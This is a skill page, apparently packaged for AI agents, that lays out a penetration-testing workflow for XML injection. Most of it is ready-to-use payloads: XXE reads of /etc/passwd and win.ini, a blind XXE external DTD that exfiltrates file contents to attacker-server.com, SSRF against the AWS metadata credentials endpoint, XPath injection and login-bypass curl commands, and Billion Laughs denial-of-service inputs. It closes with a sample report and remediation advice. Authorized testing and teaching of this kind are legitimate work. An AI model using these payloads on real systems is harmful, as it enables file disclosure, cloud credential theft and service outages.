Testing For Xml Injection Vulnerabilities | Skills Pool
Testing For Xml Injection Vulnerabilities Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
mukul975 4,535 estrellas 6 abr 2026 Ocupación Categorías Seguridad Contenido de la habilidad
When to Use
When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
During penetration testing of applications with XML parsers
When assessing SAML-based authentication implementations
When testing file import/export functionality that handles XML formats
During API security testing of SOAP or XML-based web services
Prerequisites
Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
XMLLint or similar XML validation tools
Understanding of XML structure, DTDs, and entity processing
Python 3.x with lxml and requests libraries
Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
Sample XXE payloads from PayloadsAllTheThings repository
Workflow
Step 1 — Identify XML Processing Endpoints
Instalación rápida
Testing For Xml Injection Vulnerabilities npx skills add mukul975/Anthropic-Cybersecurity-Skills
estrellas 4,535
Actualizado 6 abr 2026
Ocupación # Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
Step 2 — Test for Basic XXE (File Retrieval) <!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
Step 3 — Test for Blind XXE with Out-of-Band Detection <!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
Step 4 — Test for SSRF via XXE <!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
Step 5 — Test for XPath Injection # Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"
# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"
# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
Step 6 — Test for XML Billion Laughs (DoS) <!-- Billion Laughs attack (use only in authorized testing) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<!-- Quadratic blowup attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>
Key Concepts Concept Description XXE (XML External Entity) Attack exploiting XML parsers that process external entity references Blind XXE XXE where response is not reflected; requires out-of-band channels XPath Injection Injection into XPath queries used to navigate XML documents DTD (Document Type Definition) Declarations that define XML document structure and entities Parameter Entities Special entities (%) used within DTDs for blind XXE exploitation SSRF via XXE Using XXE to make server-side requests to internal resources XML Bomb Denial of service via recursive entity expansion (Billion Laughs)
Tool Purpose Burp Suite HTTP proxy with XXE Scanner extension for automated detection XXEinjector Automated XXE injection and data exfiltration tool OXML_XXE Tool for embedding XXE payloads in Office XML documents xmllint XML validation and parsing utility for payload testing interact.sh Out-of-band interaction server for blind XXE detection Content Type Converter Burp extension to convert JSON requests to XML for XXE testing
Common Scenarios
File Disclosure — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fieldsSSRF to Cloud Metadata — Access AWS/GCP/Azure metadata endpoints through XXE to steal IAM credentials and access tokensBlind Data Exfiltration — Extract sensitive data through out-of-band DNS/HTTP channels when XXE output is not reflectedSAML XXE — Inject XXE payloads into SAML assertions during single sign-on authentication flowsSVG File Upload XXE — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing
## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical
### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services
02
Prerequisites